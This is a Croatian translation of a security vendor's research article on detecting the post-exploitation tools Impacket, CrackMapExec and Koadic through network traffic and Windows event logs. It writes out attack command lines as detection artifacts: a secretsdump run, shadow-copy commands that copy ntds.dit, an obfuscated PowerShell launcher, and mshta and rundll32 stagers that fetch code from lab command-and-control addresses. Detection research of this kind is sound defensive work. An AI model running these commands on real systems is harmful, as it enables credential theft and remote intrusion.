Svake godine raste broj napada u korporativnom sektoru: na primjer, nego u 2016. godini, a do kraja 2018. — , nego u prethodnom razdoblju. Uključujući i one u kojima je osnovni radni alat operativni sustav Windows. Tijekom 2017. i 2018. godine grupe APT Dragonfly, APT28, provedene su napade na vladine i vojne organizacije u Europi, Sjedinjenim Američkim Državama i Saudijskoj Arabiji. I koristile su tri alata — , i . Njihov izvorni kod je otvoren i dostupan na GitHubu.
Važno je napomenuti da se ti alati ne koriste za inicijalno prodiranje, već za razvoj napada unutar infrastrukture. Napadači ih koriste u različitim fazama napada, koje slijede nakon prolaska kroz perimetar. Ovo, usput rečeno, teško se detektira i često samo uz pomoć tehnologija ili alata koji omogućuju . Alati nude brojne funkcije — od prijenosa datoteka do interakcije s registrima i izvršavanja naredbi na udaljenim strojevima. Proveli smo istraživanje ovih alata kako bismo odredili njihovu mrežnu aktivnost.
Što smo trebali učiniti:
- Razumjeti kako funkcionira hakerski alat. Saznati što napadači trebaju za eksploataciju i kojim tehnologijama mogu koristiti.
- Pronaći ono što se ne detektira sredstvima informacijske sigurnosti u ranim fazama napada.Faza izviđanja može biti propuštena, bilo zato što napadač djeluje kao unutarnji zlonamjerni akter, ili zato što napadač koristi ranjivost u infrastrukturi o kojoj se ranije nije znalo. Pojavljuje se mogućnost vraćanja cijelog lanca njegovih radnji, stoga se javlja želja za otkrivanjem daljnjeg kretanja.
- Eliminirati lažne uzbune sredstava za otkrivanje provaleNe smijemo zaboraviti da otkrivanje određenih radnji isključivo na temelju obavještajnih podataka može dovesti do čestih grešaka. Obično postoji dovoljno načina unutar infrastrukture koji na prvi pogled izgledaju legitimno, a mogu se koristiti za prikupljanje informacija.
Što ti alati pružaju napadačima? Ako govorimo o Impacketu, zloćudnici dobivaju veliku knjižnicu modula koje mogu koristiti u različitim fazama napada nakon probijanja perimetra. Mnogi alati koriste Impacket module unutar sebe — primjerice, Metasploit. On sadrži dcomexec i wmiexec za daljinsko izvođenje naredbi, secretsdump za prikupljanje računa iz memorije, a koji su dodani iz Impacket-a. Stoga će pravilno otkrivanje aktivnosti tako velike knjižnice osigurati otkrivanje derivata.
O CrackMapExec (ili jednostavno CME) autori nisu slučajno napisali „Powered by Impacket“. Osim toga, CME ima unaprijed ugrađenu funkcionalnost za popularne scenarije: to su i Mimikatz za dobivanje lozinki ili njihovih hashova, te implementacija Meterpreter ili Empire agenta za daljinsko izvršenje, uz Bloodhound u sebi.
Treći alat koji smo odabrali je Koadic. On je relativno nov, predstavljen na međunarodnoj hakerskoj konferenciji DEFCON 25 2017. godine i odlikuje se neuobičajenim pristupom: radom preko HTTP-a, JavaScripta i Microsoft Visual Basic Scripta (VBS). Ovaj pristup nazivaju living off the land: alat koristi skup ovisnosti i knjižnica ugrađenih u Windows. Autori ga nazivaju COM Command & Control, ili C3.
IMPACKET
Funkcionalnost Impacket-a je vrlo široka, počevši od obavještajnog rada unutar AD-a i prikupljanja podataka s unutarnjih MS SQL servera, do tehnika za stjecanje vjerodajnica: tu su i SMB relay napad te dohvaćanje ntds.dit datoteke s kontrolera domene, koja sadrži hash lozinki korisnika. Također, Impacket može daljinski izvršavati naredbe koristeći četiri različita načina: putem WMI-a, servisa za upravljanje Windows planerom, DCOM-a i SMB-a, a za to su mu potrebne vjerodajnice.
Secretsdump
Pogledajmo secretsdump. To je modul koji može ciljati kako korisničke uređaje, tako i kontrolere domena. Pomoću njega možete dobiti kopije memorijskih područja LSA, SAM, SECURITY, NTDS.dit, stoga ga možemo primijetiti u različitim fazama napada. Prvi korak u radu modula je autentifikacija putem SMB, za koju je potrebna ili lozinka korisnika, ili njezin hash za automatsku izvedbu napada Pass the Hash. Nakon toga dolazi zahtjev za otvaranje pristupa Service Control Manageru (SCM) i dobivanje pristupa registru putem protokola winreg, koristeći koji napadač može saznati podatke o zanimljivim granama i dobiti rezultate putem SMB.
Na sl. 1 vidimo kako se točno putem protokola winreg pristupa ključu registra s LSA. Za to se koristi DCERPC naredba s opcodeom 15 — OpenKey.

Sl. 1. Otvaranje ključa registra putem protokola winreg
Nakon što je pristup dobijen, slijedi spremanje vrijednosti naredbom SaveKey s opcodeom 20. Impacket to radi prilično specifično. Spremanje se obavlja u datoteku čije ime je niz od 8 slučajnih znakova s dodavanjem .tmp. Osim toga, daljnje izbacivanje te datoteke odvija se putem SMB iz direktorija System32 (sl. 2).

Sl. 2. Dijagram dobivanja ključa registra s udaljenog uređaja
Izgleda da se slične aktivnosti u mreži mogu otkriti kroz zahtjeve za specifičnim granama registra putem protokola winreg, specifičnim imenima, naredbama i njihovim redoslijedom.
Također, ovaj modul ostavlja tragove u Windows dnevniku događaja, zahvaljujući kojima se lako otkriva. Na primjer, kao rezultat izvršenja naredbe
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DCu dnevniku Windows Server 2016 vidjet ćemo sljedeću ključnu sekvencu događaja:
1. 4624 — udaljeno prijavljivanje.
2. 5145 — provjera pristupa udaljenom servisu winreg.
3. 5145 — provjera pristupa datoteci u direktoriju System32. Datoteka ima slučajno ime, kako je navedeno gore.
4. 4688 — stvaranje procesa cmd.exe, koji pokreće vssadmin:
“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat5. 4688 — stvaranje procesa s naredbom:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat6. 4688 — stvaranje procesa s naredbom:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat7. 4688 — stvaranje procesa s naredbom:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.batSmbexec
Kao i kod mnogih alata za post-ekspolataciju, Impacket ima module za daljinsko izvršavanje naredbi. Fokusirati ćemo se na smbexec, koji omogućava interaktivnu komandnu liniju na udaljenoj mašini. Ovaj modul također zahtijeva autentifikaciju putem SMB, bilo sa lozinkom ili njenim hešem. Na slici 3 vidimo primjer rada ovog alata, u ovom slučaju to je konzola lokalnog administratora.

Slika 3. Interaktivna konzola smbexec
Prva faza rada smbexec nakon autentifikacije je otvaranje SCM naredbom OpenSCManagerW (15). Upit je zanimljiv: u njemu polje MachineName ima vrijednost DUMMY.

Slika 4. Upit za otvaranje Service Control Manager
Zatim se stvara servis pomoću naredbe CreateServiceW (12). U slučaju smbexec možemo primijetiti da svaki put slijedi istu logiku izgradnje naredbe. Na slici 5 označeni su nepromjenjivi parametri naredbe zelenom bojom, a ono što napadač može promijeniti žutom. Nije teško primijetiti da je moguće promijeniti naziv izvršne datoteke, njenu direktoriju i datoteku izlaza, ali je teže promijeniti ostalo bez kršenja logike rada modula Impacket.

Slika 5. Upit za stvaranje servisa uz pomoć Service Control Manager
Smbexec također ostavlja jasne tragove u Windows događajima. U dnevniku Windows Server 2016 za interaktivnu komandnu liniju s naredbom ipconfig vidjet ćemo sljedeću ključnu sekvencu događaja:
1. 4697 — postavljanje servisa na žrtvinoj mašini:
%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 2. 4688 — stvaranje procesa cmd.exe s argumentima iz točke 1.
3. 5145 — provjera prava pristupa datoteci __output u direktoriju C$.
4. 4697 — postavljanje servisa na žrtvinoj mašini.
%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 5. 4688 — stvaranje procesa cmd.exe s argumentima iz točke 4.
6. 5145 — provjera prava pristupa datoteci __output u direktoriju C$.
Impacket je osnova za razvoj alata za napade. Podržava gotovo sve protokole u Windows infrastrukturi i ima svoje karakteristike. Ovdje su specifični winreg upiti, korištenje SCM API-a s karakterističnim oblikovanjem naredbi, format imena datoteka i SMB share SYSTEM32.
CRACKMAPEXEC
Alat CME prvenstveno je namijenjen automatizaciji rutinskih radnji koje napadač mora obaviti za napredovanje unutar mreže. Omogućuje rad u suradnji s poznatim Empire agentom i Meterpreterom. Da bi se naredbe izvršavale neprimjetno, CME ih može obfuscirati. Korištenjem Bloodhound-a (odvojenog alata za izvođenje obavještajne aktivnosti), napadač može automatizirati pretraživanje aktivne sesije domena administratora.
Bloodhound
Bloodhound kao samostalni alat omogućuje naprednu obavještajnu aktivnost unutar mreže. Prikuplja podatke o korisnicima, računalima, grupama, sesijama i isporučuje se u obliku PowerShell skripte ili binarne datoteke. Za prikupljanje informacija koriste se LDAP ili protokoli temeljeni na SMB-u. Integracijski modul CME omogućuje učitavanje Bloodhound-a na žrtvinsko računalo, pokretanje i dobivanje prikupljenih podataka nakon izvršenja, time automatizirajući radnje u sustavu i čineći ih manje primjetnima. Grafičko sučelje Bloodhound-a prikazuje prikupljene podatke u obliku grafova, što omogućava pronalaženje najkraćeg puta od računala napadača do domena administratora.

Slika 6. Sučelje Bloodhound
Za pokretanje na žrtvinskom računalu, modul stvara zadatak koristeći ATSVC i SMB. ATSVC je sučelje za rad s planerom zadataka u sustavu Windows. CME koristi njegovu funkciju NetrJobAdd (1) za stvaranje zadataka putem mreže. Primjer onoga što modul CME šalje prikazan je na slici 7: to je poziv naredbe cmd.exe i obfuscirani kod u obliku argumenata u XML formatu.

Slika 7. Stvaranje zadatka putem CME
Nakon što je zadatak poslan na izvršenje, žrtvinsko računalo pokreće sam Bloodhound, što se može vidjeti u prometu. Za modul su karakteristični LDAP upiti za dobivanje standardnih grupa, popisa svih računala i korisnika u domeni, dobivanje informacija o aktivnim korisničkim sesijama putem SRVSVC NetSessEnum upita.

Slika 8. Dobivanje popisa aktivnih sesija putem SMB-a
Osim toga, pokretanje Bloodhounda na žrtvinom računalu s uključenim auditom prati događaj s ID-om 4688 (stvaranje procesa) i imenom procesa "C:WindowsSystem32cmd.exe". Zanimljivi su argumenti naredbenog retka:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "Enum_avproducts
Modul enum_avproducts je vrlo zanimljiv s gledišta funkcionalnosti i implementacije. WMI omogućuje korištenje jezika upita WQL za dobivanje podataka o raznim Windows objektima, što ovaj CME modul zapravo koristi. Generira upite za klase AntiSpywareProduct i AntiМirusProduct o zaštitnim sredstvima instaliranim na žrtvinom računalu. Da bi dobio potrebne podatke, modul se povezuje s imenskim prostorom rootSecurityCenter2, zatim formira WQL upit i dobiva odgovor. Na slici 9 prikazan je sadržaj takvih upita i odgovora. U našem primjeru pronađen je Windows Defender.

Slika 9. Mrežna aktivnost modula enum_avproducts
Često je WMI audit (Trace WMI-Activity), u događajima kojeg se mogu naći korisne informacije o WQL upitima, isključen. No, ako je uključen, prilikom pokretanja skripte enum_avproducts sačuvat će se događaj s ID-om 11. U njemu će biti uključeno ime korisnika koji je poslao upit i ime u imenskom prostoru rootSecurityCenter2.
Svaki od modula CME imao je svoje artefakte, bili to specifični WQL upiti ili stvaranje određene vrste zadatka u task scheduleru s obfuskacijom i karakterističnom aktivnošću za Bloodhound u LDAP-u i SMB-u.
KOADIC
Značajka Koadica je korištenje ugrađenih Windows interpretera JavaScript i VBScript. U tom smislu slijedi trend living off the land – to jest, nema vanjskih ovisnosti i koristi standardne alate Windows-a. Ovo je alat za potpuni Command & Control (CnC), jer se nakon infekcije na računalo instalira "implantat" koji omogućuje kontrolu. Takvo računalo, u terminologiji Koadica, naziva se "zombi". Ako nema dovoljno privilegija za punu funkcionalnost na strani žrtve, Koadic ima mogućnost podizanja privilegija, koristeći tehnike zaobilaženja kontrole korisničkih računa (UAC bypass).

Slika 10. Command shell Koadic
Žrtva mora sama inicirati komunikaciju sa Command & Control serverom. Za to se mora obratiti unaprijed pripremljenom URI-ju i dobiti glavno tijelo Koadica pomoću jednog od stejdžera. Na slici 11 prikazan je primjer za stejdžer mshta.

Slika 11. Inicijalizacija sesije s CnC serverom
Prema varijabli WS odgovora, može se primijetiti da se izvršenje odvija putem WScript.Shell, a varijable STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE sadrže ključne informacije o parametrima trenutne sesije. Ovo je prva para zahtjev-odgovor u HTTP vezi s CnC serverom. Naknadni zahtjevi su direktno povezani s funkcionalnošću pozvanih modula (implanta). Svi moduli Koadic rade samo s aktivnom sesijom u CnC.
Mimikatz
Baš kao što CME radi s Bloodhoundom, Koadic radi s Mimikatz kao s posebnim programom i ima nekoliko načina za njegovo pokretanje. Ispod je prikazana para zahtjev-odgovor za preuzimanje implanta Mimikatz.

Slika 12. Prijenos Mimikatz u Koadic
Može se primijetiti kako se promijenio format URI-ja u zahtjevu. U njemu se pojavila vrijednost varijable csrf, koja odgovara za odabrani modul. Ne obraćajte pažnju na njezino ime; svi znamo da se pod CSRF obično podrazumijeva nešto drugo. U odgovoru je došlo sve isto osnovno tijelo Koadica, uz dodatak koda vezanog uz Mimikatz. On je dovoljno velik, stoga ćemo razmotriti ključne točke. Pred nama je kodirana u base64 knjižnica Mimikatz, serijalizirana .NET klasa koja će je injektirati, i argumenti za pokretanje Mimikatz. Rezultat izvršenja prenosi se mrežom u otvorenom obliku.

Slika 13. Rezultat izvršenja Mimikatz na udaljenom računalu
Exec_cmd
U Koadicu također postoje moduli sposobni za udaljeno izvršavanje komandi. Ovdje ćemo vidjeti isti metod generiranja URI-ja i poznate varijable sid i csrf. U slučaju modula exec_cmd, u tijelo se dodaje kod koji je sposoban izvršavati shell komande. Ispod je prikazan takav kod koji se nalazi u HTTP odgovoru CnC servera.

Slika 14. Kod implanta exec_cmd
Varijabla GAWTUUGCFI sa poznatom atributom WS potrebna je za izvršavanje koda. Pomoću nje implant poziva shell, obrađujući dva grananja koda — shell.exec s vraćanjem izlaznog toka podataka i shell.run bez vraćanja.
Koadic nije tipičan alat, ali ima svoje artefakte po kojima ga se može prepoznati u legitimnom prometu:
- posebno oblikovanje HTTP zahtjeva,
- korištenje winHttpRequests API-a,
- kreativni objekt WScript.Shell putem ActiveXObject,
- veliko izvršno tijelo.
Izvorna veza inicira stager, čime se omogućava otkrivanje njegove aktivnosti putem događaja sustava Windows. Za mshta to je događaj 4688, koji ukazuje na stvaranje procesa s atributom pokretanja:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6Tijekom izvršenja Koadic-a mogu se uočiti i drugi događaji 4688 s atributima koji ga odlično karakteriziraju:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1Zaključci
Trend living off the land postaje sve popularniji među napadačima. Oni koriste ugrađene alate i mehanizme u sustavu Windows za svoje potrebe. Vidimo kako se popularni alati Koadic, CrackMapExec i Impacket, koji slijede ovu filozofiju, sve češće pojavljuju u izvještajima o APT-u. Broj forkova ovih alata na GitHub-u također raste, pojavljuju se novi (sada ih je oko tisuću). Trend stječe popularnost zbog svoje jednostavnosti: napadačima nisu potrebni izvana nabavljeni alati, oni su već prisutni na računalima žrtava i pomažu u zaobilaženju zaštitnih mjera. Usredotočeni smo na proučavanje mrežne interakcije: svaki od gore opisanih alata ostavlja tragove u mrežnom prometu; detaljno proučavanje tih tragova omogućilo nam je da obučimo naš proizvod da ih otkriva, što na kraju pomaže u istraživanju cijelog lanca kibernetičkih incidenata u kojem su sudjelovali.
Autori:
- Anton Tyurin, voditelj odjela za stručne usluge, PT Expert Security Center, Positive Technologies
- Yegor Podmokov, stručnjak, PT Expert Security Center, Positive Technologies
Izvor: habr.com
